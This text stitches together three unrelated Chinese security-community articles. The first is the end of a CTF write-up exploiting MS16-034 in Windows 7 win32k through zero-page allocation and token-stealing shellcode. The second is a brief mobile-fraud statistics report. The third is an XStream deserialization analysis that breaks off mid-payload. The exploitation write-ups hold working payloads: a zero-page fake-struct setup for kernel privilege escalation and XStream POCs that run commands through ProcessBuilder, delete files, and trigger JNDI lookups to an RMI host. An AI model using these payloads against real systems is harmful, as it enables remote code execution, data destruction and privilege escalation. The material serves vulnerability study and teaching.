kd> dd 903fcaf8//这个值是BRUSH结构体
903fcaf8 ffffffff 00000000 00000000 00edfc13
903fcb08 00edfc13 00000000 00000006 00000004
903fcb18 00000000 00ffffff ffaab7c4 00000000
903fcb28 00000000 ffb58768 ffbff968 ffbffe68//偏移0x34存放的是0xffb58768
903fcb38 ffbbd540 00000006 fe57bc38 00000014
903fcb48 000000d3 00000001 ffffffff 83f77f01
903fcb58 83ec0892 903fcb7c 903fcbb0 00000000
903fcb68 903fcc10 83e17924 00000000 00000000
kd> dd ffb58768//看一下0xffb58768的值
ffb58768 068501b7 00000001 80000000 8754b030
ffb58778 00000000 068501b7 00000000 00000000//这个值是0x0
ffb58788 00000008 00000008 00000020 ffb588bc
我们发现在EBRUSHOBJ+34h位置存放的值，再+10h存放的正是之前的SURFOBJ，可以看到，0xffb58768和之前SURFOBJ对象的值0xffb58778正好相差10h，也就是说，之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值，可以看到而这个值来看一下SURFOBJ的结构
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ;
前面DHSURF、HSURF、DHPDEV类型长度都是4字节，看到偏移+ch位置存放的是hdev对象，正是在PoC中未对hdev对象进行初始化直接引用，导致了漏洞的发生。我们也可以来看一下_EBRUSHOBJ的一些结构概况。
红框框应该是BRUSHOBJ，其中前4个字节时iSolidColor，中间4个字节是pvRbrush，后4个字节是flColorType，绿框框应该是在PoC中定义的hBrush的COLORREF，粉框框则是SURFOBJ-10h的一个结构，问题也出现在这里。
**PWN!!**
* * *
知道了这个漏洞形成原因，我们来考虑利用过程，首先，我们回到触发漏洞的位置，这里引用了eax＋24，就是0x0＋24，在Win7下限制较少，不像Win8和Win10，在_EPROCESS结构中有VdmAllowed之类的来限制NtAllocateVirtualMemory申请零页内存，如果我们通过NtAllocateVirtualMemory申请零页内存，那么对应位置就不是一个无效地址了。
我们通过伪代码来看一下这一小部分的逻辑。
P = 0;
v69 = 0;
a2 = *(struct EBRUSHOBJ **)(v6 + 28);//key！！a2被赋值为0了！
v45 = (*((_BYTE *)a2 + 36) & 1) == 0;//引发BSOD位置
v72 = 0;
v75 = 0;
可以看到，在之前a2会由于hdev未初始化，而直接引用，被赋值为0x0，那么也就是说，在函数后面所有跟a2有关的操作部分，比如a2+0xn的操作，都是在零页内存位置做操作，比如后面的a2+36就是引发bsod的位置，将0x0+24h了。
那么也就是说，如果我们用NtAllocateVirtualMemory分配了零页内存，那么零页内存位置的值我们都是可控的，也就是说在win32k!bGetRealizedBrush中，所有跟a2相关的位置我们都是可控的。
换个角度讲，我们可以在零页位置构造一个fake
struct来控制一些可控的位置。接下来，为了利用，我们需要在win32k!bGetRealizedBrush中，找到一些可以利用的点。
找到了两个点，第一个点比较好找，第二个点我不够细心没找到，还是pxx提醒了我，感谢pxx师傅！
第一个点在
第二个点在
其中第一个点不好用，就是之前我说到的这是一个常数，这里引用的是EngRealizeBrush函数，是在传递参数时一个定值，这个值不能被修改。
因此我们能利用的位置应该就是第二个点，但其实，从我们漏洞触发位置，到漏洞利用位置有几处if语句判断，第一处。
.text:BF840799 ; 119: v23 = *((_WORD *)v20 + 712);
.text:BF840799
.text:BF840799 loc_BF840799: ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+266j
.text:BF840799 movzx edx, word ptr [eax+590h] ; check 0x590
.text:BF8407A0 ; 120: if ( !v23 )
.text:BF8407A0 cmp dx, si
.text:BF8407A3 ; 121: goto LABEL_23;
.text:BF8407A3 jz loc_BF8406F7
这时候v20的值是a2，而a2的值来自于 a2 = *(struct EBRUSHOBJ **)(v6 +
28);，之前已经分析过，由于未初始化，这个值为0，那么第一处在v23的if语句跳转中，需要置0+0x590位置的值为不为0的数。
接下来第二处跳转。
.text:BF8407A3 ; 120: if ( !v23 )
.text:BF8407A3 jz loc_BF8406F7
.text:BF8407A9 ; 122: v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
.text:BF8407A9 add eax, 592h ; Check 0x592
.text:BF8407AE ; 123: if ( !*(_WORD *)v24 )
.text:BF8407AE cmp [eax], si
.text:BF8407B1 ; 124: goto LABEL_23;
.text:BF8407B1 jz loc_BF8406F7
这个地方又要一个if语句跳转，这个地方需要置0x592位置的值为不为0的数。
最后一处，也就是call edi之前的位置
.text:BF8407F0 mov edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6 setz cl
.text:BF8407F9 inc ecx
.text:BF8407FA mov [ebp+var_14], ecx
.text:BF8407FD ; 134: if ( v26 )
.text:BF8407FD cmp edi, esi//这里仍旧是和0比较
.text:BF8407FF jz short loc_BF840823
这里检查的是0x748的位置，这个地方需要edi和esi做比较，edi不为0，这里赋值为替换token的shellcode的值就是不为0的值了，直接可以跳转。
只要绕过了这3处，就可以到达call edi了，而call
edi，又来自eax＋748，这个位置我们可控，这样就能到shellcode位置了，所以，我们需要在零页分配一个0x1000的内存（只要大于748，随便定义）。
随后布置这3个值，之后我们可以达到零页可控位置。
接下来，我们只需要在源码中使用steal token
shellcode，然后在内核态执行用户态shellcode，完成token替换，这样我们通过如下代码部署零页内存。
void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
由于Win7下没有SMEP，因此我们也不需要使用ROP来修改CR4寄存器的值，这样，我们在RING0下执行RING3 shellcode完成提权。
最后，我提供一个我的Exploit的下载地址： <https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup>
请师傅们多多指教，谢谢！Have fun and PWN!
**传送门**
* * *
[**第三届 SSCTF 全国网络安全大赛—线上赛圆满结束！**](http://bobao.360.cn/ctf/activity/421.html)
**[【CTF 攻略】第三届 SSCTF 全国网络安全大赛—线上赛
Writeup](http://bobao.360.cn/ctf/detail/195.html)** | 社区文章 |
# 360权威发布《2021年上半年度中国手机安全状况报告》
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
社会在发展、时代在进步。在手机成为人们日常生活中不可或缺的工具时，骗子们也研究出各种各样的复杂套路。冒充“公检法”、假交友真骗钱，甚至发展出了职业化的黑灰产和技术化诈骗手段。
骗纸们“推陈出新”，防骗更要与时俱进。《2021手机防骗指南》带你透过数据，认清手机诈骗的层层套路。
## 数据维度01：诈骗举报类型分布及涉案金额统计
手机诈骗两大“最”（最高发、损失最大）
手机诈骗中交友、虚假兼职、金融理财仍属于高危诈骗类型。虚假兼职类人均损失最高，约3.3万元。
## 数据维度02：受害者性别分布及损失对比
男性易上当，女性“投入”多
## 数据维度03：受害者年龄分布+损失金额对比
90后总是“太天真”，70后损失更惨重
## 数据维度04：诈骗发生地域分布
A.诈骗举报省份排名
B.诈骗举报前5城市排名
北京最受骗子“关注”，山东总被骗子“光临”
## 数据维度05：冒充诈骗的高频关键词
遇事不心虚，骗纸难得手。
听到以上“关键词”，建议“立即报警”
## 数据维度06：各类型手机安全数据一览
A.恶意程序新增样本量与类型分布
每天新增手机2万个恶意程序，防骗还需提高警惕
B.钓鱼网站新增数据
网速越来越快，“冲浪”还要看清“地址”
C.上半年骚扰电话各月分布情况
骚扰电话全年不休，但是骗纸也要过年？
D.诈骗短信类型分布
不明短信不要理，赌博兼职莫贪心 | 社区文章 |
# 历史漏洞
XStream 远程代码执行漏洞 CVE-2013-7285 XStream <= 1.4.6或1.4.10
XStream XXE CVE-2016-3674 XStream <= 1.4.8
XStream 远程代码执行漏洞 CVE-2019-10173 XStream < 1.4.10
XStream 远程代码执行漏洞 CVE-2020-26217 XStream <= 1.4.13
XStream 远程代码执行漏洞 CVE-2021-21344 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21345 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21346 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21347 XStream<= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21350 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-21351 XStream: <= 1.4.15
XStream 远程代码执行漏洞 CVE-2021-29505 XStream: <= 1.4.16
# Xstream简介
XStream是一个简单的基于Java库，Java对象序列化到XML，反之亦然(即：可以轻易的将Java对象和xml文档相互转换)
可以用下面两个类来看看
package XStream;
import java.io.IOException;
import java.io.Serializable;
public class People implements Serializable{
private String name;
private int age;
private Company workCompany;
public People(String name, int age, Company workCompany) {
this.name = name;
this.age = age;
this.workCompany = workCompany;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Company getWorkCompany() {
return workCompany;
}
public void setWorkCompany(Company workCompany) {
this.workCompany = workCompany;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("调用了People的readObject");
}
}
package XStream;
import java.io.IOException;
import java.io.Serializable;
public class Company implements Serializable {
private String companyName;
private String companyLocation;
public Company(String companyName, String companyLocation) {
this.companyName = companyName;
this.companyLocation = companyLocation;
}
public String getCompanyName() {
return companyName;
}
public void setCompanyName(String companyName) {
this.companyName = companyName;
}
public String getCompanyLocation() {
return companyLocation;
}
public void setCompanyLocation(String companyLocation) {
this.companyLocation = companyLocation;
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
System.out.println("调用了company的readObject");
}
}
package XStream;
import com.thoughtworks.xstream.XStream;
public class test {
public static void main(String[] args) throws Exception{
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);
// People people1 = (People)xStream.fromXML(xml);
// System.out.println(people1);
}
}
输出效果
<XStream.People serialization="custom">
<XStream.People>
<default>
<age>25</age>
<name>xiaoming</name>
<workCompany serialization="custom">
<XStream.Company>
<default>
<companyLocation>BeiJing</companyLocation>
<companyName>TopSec</companyName>
</default>
</XStream.Company>
</workCompany>
</default>
</XStream.People>
</XStream.People>
但是假如这两个类没有实现serializable接口，得到数据是这样的
<XStream.People>
<name>xiaoming</name>
<age>25</age>
<workCompany>
<companyName>TopSec</companyName>
<companyLocation>BeiJing</companyLocation>
</workCompany>
</XStream.People>
这里实现serializable接口和没有实现生成的数据是不一样的
这两个的差异是什么呢，可以在TreeUnmarshaller类的convertAnother方法处下断点
TreeUnmarshaller 树解组程序，调用mapper和Converter把XML转化成java对象，里面的start方法开始解组，convertAnother方法把class转化成java对象。
TreeMarshaller 树编组程序，调用mapper和Converter把java对象转化成XML，里面的start方法开始编组，convertAnother方法把java对象转化成XML
测试代码
public static void main(String[] args) throws Exception{
XStream xStream = new XStream();
People people = new People("xiaoming",25,new Company("TopSec","BeiJing"));
String xml = xStream.toXML(people);
System.out.println(xml);
People people1 = (People)xStream.fromXML(xml);
System.out.println(people1);
}
在没有实现serializable接口的时候，最后这里的converter是ReflectionConverter
这里的converter，翻译就是转换器，Xstream的思路是通过不同的converter来处理序列化数据中不同类型的数据，该Converter的原理是通过反射获取类对象并通过反射为其每个属性进行赋值，当然不同的类型会调用不同的转换器
来看看实现了serializable接口的是什么转化器
这里是一个SerializableConverter，这时候我们在我们之前在类里面重写的readObject打断点，发现可以进去
既然可以调用重写的readObject方法，那只要有对应的可控参数和链子就可以尝试反序列化了
这里还是来看看怎么调用的readObject
这里的converter是SerializableConverter，跟它的convert方法
继续跟进
跟进到SerializableConverter的unmarshal方法
跟进doUnmarshal
跟进callReadObject
这里通过反射调用了对应类的readObject方法，所以在实现serializable接口的时候会调用对应的readObject方法
# CVE-2013-7258远程代码执行漏洞
漏洞影响范围：1.4.x<=1.4.6或1.4.10
复现环境：1.4.5
<dependency>
<groupId>com.thoughtworks.xstream</groupId>
<artifactId>xstream</artifactId>
<version>1.4.5</version>
</dependency>
## 漏洞复现
POC
package XStream;
import com.thoughtworks.xstream.XStream;
public class Unser {
public static void main(String[] args) {
XStream xStream = new XStream();
String xml = "<sorted-set>\n" +
" <string>foo</string>\n" +
" <dynamic-proxy>\n" +
" <interface>java.lang.Comparable</interface>\n" +
" <handler class=\"java.beans.EventHandler\">\n" +
" <target class=\"java.lang.ProcessBuilder\">\n" +
" <command>\n" +
" <string>cmd</string>\n" +
" <string>/C</string>\n" +
" <string>calc</string>\n" +
" </command>\n" +
" </target>\n" +
" <action>start</action>\n" +
" </handler>\n" +
" </dynamic-proxy>\n" +
"</sorted-set>";
xStream.fromXML(xml);
}
}
## 漏洞分析
从fromXML下断点一路跟到了TreeUnmarshaller#start
跟进readClassType来获取对应节点的class
public static Class readClassType(HierarchicalStreamReader reader, Mapper mapper) {
String classAttribute = readClassAttribute(reader, mapper);
Class type;
if (classAttribute == null) {
type = mapper.realClass(reader.getNodeName());
} else {
type = mapper.realClass(classAttribute);
}
return type;
}
跟进readClassAttribute
public static String readClassAttribute(HierarchicalStreamReader reader, Mapper mapper) {
String attributeName = mapper.aliasForSystemAttribute("resolves-to");
String classAttribute = attributeName == null ? null : reader.getAttribute(attributeName);
if (classAttribute == null) {
attributeName = mapper.aliasForSystemAttribute("class");
if (attributeName != null) {
classAttribute = reader.getAttribute(attributeName);
}
}
return classAttribute;
}
aliasForSystemAttribute方法是获取别名，这里是获取了resolves-to和class，来判断xml中有没有这两个属性，没有的话则返回空，这里返回的空
回到readClassType，进入if，通过realClass来获取当前节点的名称然后返回对应的Class对象
最后返回的是SortedSet
回到start方法，调用convertAnother方法，跟进去看看
defaultImplementationOf方法是根据mapper获取type的实现类，只是获取到了TreeSet
然后调用lookupConverterForType获取对应的的转换器（converter）
通过循环遍历调用Converter.canConvert()来匹配是否能转换出TreeSet类型，最后找到了一个TreeSetConverter进行返回
最后回到convertAnother，然后调用convert方法
protected Object convert(Object parent, Class type, Converter converter) {
Object result;
if (this.parentStack.size() > 0) {
result = this.parentStack.peek();
if (result != null && !this.values.containsKey(result)) {
this.values.put(result, parent);
}
}
String attributeName = this.getMapper().aliasForSystemAttribute("reference");
String reference = attributeName == null ? null : this.reader.getAttribute(attributeName);
Object cache;
if (reference != null) {
cache = this.values.get(this.getReferenceKey(reference));
if (cache == null) {
ConversionException ex = new ConversionException("Invalid reference");
ex.add("reference", reference);
throw ex;
}
result = cache == NULL ? null : cache;
} else {
cache = this.getCurrentReferenceKey();
this.parentStack.push(cache);
result = super.convert(parent, type, converter);
if (cache != null) {
this.values.put(cache, result == null ? NULL : result);
}
this.parentStack.popSilently();
}
return result;
}
这里又通过aliasForSystemAttribute来获取reference的别名，如果为空则调用getCurrentReferenceKey
this.getCurrentReferenceKey用来获取当前标签，也就是sorted-set
调用this.types.push将获取的值压入栈中，这里只是个压栈的操作，储存而已
然后跟进到super.convert
跟进unmarshal来到TreeSetConverter的unmarshal方法，在这里进行xml的解析
调用unmarshalComparator方法判断是否存在comparator，如果不存在，则返回NullComparator对象
于是这里的inFirstElement为true，三目运算符返回null
possibleResult也是创建的是一个空的TreeSet对象。而后则是一些赋值，就没必要一一去看了。来看到重点部分
this.treeMapConverter.populateTreeMap(reader, context, treeMap, unmarshalledComparator);
跟进来到
protected void populateTreeMap(HierarchicalStreamReader reader, UnmarshallingContext context, TreeMap result, Comparator comparator) {
boolean inFirstElement = comparator == NULL_MARKER;
if (inFirstElement) {
comparator = null;
}
SortedMap sortedMap = new PresortedMap(comparator != null && JVM.hasOptimizedTreeMapPutAll() ? comparator : null);
if (inFirstElement) {
this.putCurrentEntryIntoMap(reader, context, result, sortedMap);
reader.moveUp();
}
this.populateMap(reader, context, result, sortedMap);
try {
if (JVM.hasOptimizedTreeMapPutAll()) {
if (comparator != null && comparatorField != null) {
comparatorField.set(result, comparator);
}
result.putAll(sortedMap);
} else if (comparatorField != null) {
comparatorField.set(result, sortedMap.comparator());
result.putAll(sortedMap);
comparatorField.set(result, comparator);
} else {
result.putAll(sortedMap);
}
} catch (IllegalAccessException var8) {
throw new ConversionException("Cannot set comparator of TreeMap", var8);
}
}
调用this.putCurrentEntryIntoMap(reader, context, result, sortedMap)，继续跟进
通过readItem读取标签内容，然后put到target这个map中去
回到populateTreeMap，通过reader.moveUp()往后继续解析xml
跟进 this.populateMap(reader, context, result, sortedMap)
跟进populateCollection
这里循环所有节点调用addCurrentElementToCollection
protected void addCurrentElementToCollection(HierarchicalStreamReader reader, UnmarshallingContext context, Collection collection, Collection target) {
Object item = this.readItem(reader, context, collection);
target.add(item);
}
这里也是解析标签内容然后添加到target这map中去
readItem方法
protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) {
Class type = HierarchicalStreams.readClassType(reader, this.mapper());
return context.convertAnother(current, type);
}
读取标签内容，将其转换为对应的类，然后返回
最后在addCurrentElementToCollection中添加到map中去
跟进这里的readClassType
和之前的一样，然后返回一个type调用convertAnother
这里的流程就和之前一样了，最后跟到了DynamicProxyConverter#unmarshal
返回了一个代理类，代理的是EventHandler，回到populateTreeMap，调用了putAll
随后会调用父类的也就是Abstract的putAll
这里的key ，value就是之前添加到map的
跟进put，来到TreeMap的put
这里的k就是那个代理类，所以这里会触发对应的EventHandler#invoke方法
接着跟进invokeInternal方法
这里得到了targetMethod是ProcessBuilder.start
然后在这里调用到ProcessBuilder.start，就可以去执行相应的命令了
其实整个流程就是一个解析xml的流程
从com.thoughtworks.xstream.core.TreeUnmarshaller#start方法开始解析xml，调用HierarchicalStreams.readClassType通过标签名获取Mapper中对于的class对象。获取class完成后调用com.thoughtworks.xstream.core.TreeUnmarshaller#convertAnother,该方法会根据class转换为对应的Java对象。convertAnother的实现是mapper.defaultImplementationOf方法查找class实现类。根据实现类获取对应转换器，获取转换器部分的实现逻辑是ConverterLookup中的lookupConverterForType方法,先从缓存集合中查找Converter,遍历converters找到符合的Converter。随后，调用convert返回object对象。convert方法实现逻辑是调用获取到的converter转换器的unmarshal方法来根据获取的对象，继续读取子节点，并转化成对象对应的变量。直到读取到最后一个节点退出循环。最终获取到java对象中的变量值也都设置，整个XML解析过程就结束了
## POC2
<tree-map>
<entry>
<string>fookey</string>
<string>foovalue</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
之前是用的sortedset标签，然后寻找到他的实现类是TreeMap类，这里直接用tree-map也可以，获取的实现类是他本身，转换器则是TreeMapConverter
# CVE-2020-26217远程代码执行漏洞
# 漏洞复现
影响范围<=1.4.13
复现环境：1.4.13
POC
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
## 漏洞分析
在分析之前我们先来看一个例子，以便更好的理解POC
package XStream;
import com.thoughtworks.xstream.XStream;
import java.util.HashMap;
import java.util.Map;
class person{
String name;
int age;
public person(String name,int age){
this.name = name;
this.age = age;
}
}
public class MapTest {
public static void main(String[] args) throws Exception{
Map map = new HashMap();
map.put(new person("DawnT0wn", 20), "test");
XStream xStream = new XStream();
String xml = xStream.toXML(map);
System.out.println(xml);
}
}
输出效果
<map>
<entry>
<XStream.person>
<name>DawnT0wn</name>
<age>20</age>
</XStream.person>
<string>test</string>
</entry>
</map>
在Xstream将Map生成xml格式数据时，会为每个Entry对象生成一个<entry>…</entry>元素，并将该Entry中的key与value作为其子元素顺次放置于其中第一个和第二个元素处
这里我们生程xml数据的时候，是用的一个map类型，然后map的key，value分别是一个实例化和一个字符串
最后得到了的数据可以看出来，Xstream生成xml时，其结构应遵循如下结构
<对象>
<属性1>...</属性1>
<属性2>...</属性2>
...
</对象>
具体的可以在<https://xz.aliyun.com/t/8694了解到>
回过头来看我们的poc，先折叠一下
看到是这个样子的，这里就是一个map类型，entry的key是jdk.nashorn.internal.objects.NativeString，value是test
然后这个类里面的value属性是com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data这个类，这个类里面的dataHandler属性又被设置为了什么，大致意思就是这样，接下来就可以开始分析了
跟踪方法和上面一个洞差不多，可以来到一个putCurrentEntryIntoMap方法，根据标签的类型，这次来到的是MapConverter#putCurrentEntryIntoMap方法
在这之前会新建一个map，也就是target，然后会调用put，放进target这个map中去，
之前看urldns这些链子的时候就知道，map的key最后会调用到hashcode，这里的key就是jdk.nashorn.internal.objects.NativeString，然后来到了jdk.nashorn.internal.objects.NativeString的hashcode方法
跟进this.getStringValue
判断value是否实现了String接口
看看POC
这个类的value被设置为了Base64Data类，在之前的convertAnother方法已经转换为java对象，所以这里调用了com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data的toString方法
跟进这个类的get
this.dataHandler.getDataSource().getInputStream()
首先获取this.dataHandler的datasource属性，即是获取Base64Data对象中dataHandler属性的DataSource值，Base64Data的dataHandler属性值以及dataHandler的dataSource属性值都可以在xml中设置。poc中将dataSource设置为：com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource
所以这里就相对于调用com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource的getInputStream方法
即获取他的is属性
在poc中，这个is属性被设置为了java.io.SequenceInputStream
再跟进readFrom
这里就调用了java.io.SequenceInputStream的read方法
跟进nextStream
这里的e属性被设置为了javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator，跟进nextElenment
这些参数都是可以再xml中设置的，来到了javax.imageio.spi.FilterIterator的next
再跟进advance
poc中设置了iter参数
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
当iter.next()执行后，poc中构造的java.lang.ProcessBuilder被返回并赋值给elt
filter则是javax.imageio.ImageIO$ContainsFilter
跟进过来看到
调用了method.invoke传入的参数就poc构造的java.lang.ProcessBuilder
在method和elt都可控的情况下，method控制为ProcessBuilder类的start方法，因为这是个无参的方法，直接传入ProcessBuilder对象即elt即可，通过反射执行了ProcessBuilder类的start方法造成了命令执行
# CVE-2020-26259任意文件删除漏洞
## 漏洞复现
poc
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
在我的根目录下创建一个txt后，运行后删除
## 漏洞分析
其实这个POC和上面CVE-2020-16217差别不大，只是is属性变了而已，继续看到这个get方法
之前是从readFrom下手，这次是从close方法下手
此时的is是com.sun.xml.internal.ws.util.ReadAllStream$FileStream，跟入com.sun.xml.internal.ws.util.ReadAllStream$FileStream中的close方法
这里判断tempFile只要部位空则删除，否则就打印文件不存在
# CVE-2021-21344远程代码执行漏洞
## 漏洞复现
起一个web服务
起一个恶意的rmi
POC
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:1099/test</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>
## 漏洞分析
这次的POC的写法就和最开始介绍的一样，实现了serializable接口，回去调用对应类重写的readObject方法
就直接跟进到PriorityQueue的readObject方法，在复现CC2的时候也是从这里进去的
前面就不跟了，直接看到下图调用compare方法这里
根据poc来看
size属性被置为2是之前CC链也提过很多次的了，这里的comparator属性是sun.awt.datatransfer.DataTransferer$IndexOrderComparator类，跟进看看
public int compare(Object var1, Object var2) {
return !this.order ? -compareIndices(this.indexMap, var1, var2, FALLBACK_INDEX) : compareIndices(this.indexMap, var1, var2, FALLBACK_INDEX);
}
跟进compareaIndices方法，这里的indexMap属性被设置为了com.sun.xml.internal.ws.client.ResponseContext类
var0就是之前的indexMap，跟进到ResponseContext#get方法
根据poc的参数设置，最后可以来到com.sun.rowset.JdbcRowSetImpl
看看这一段的调用栈
com.sun.rowset.JdbcRowSetImpl这个类貌似在fastjson里面用到过
跟进connect
这里获取这个类的dataSource属性，然后进行一个lookup查询，只要控制了就可以造成一个jndi注入
# CVE-2021-21345远程代码执行漏洞
poc
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
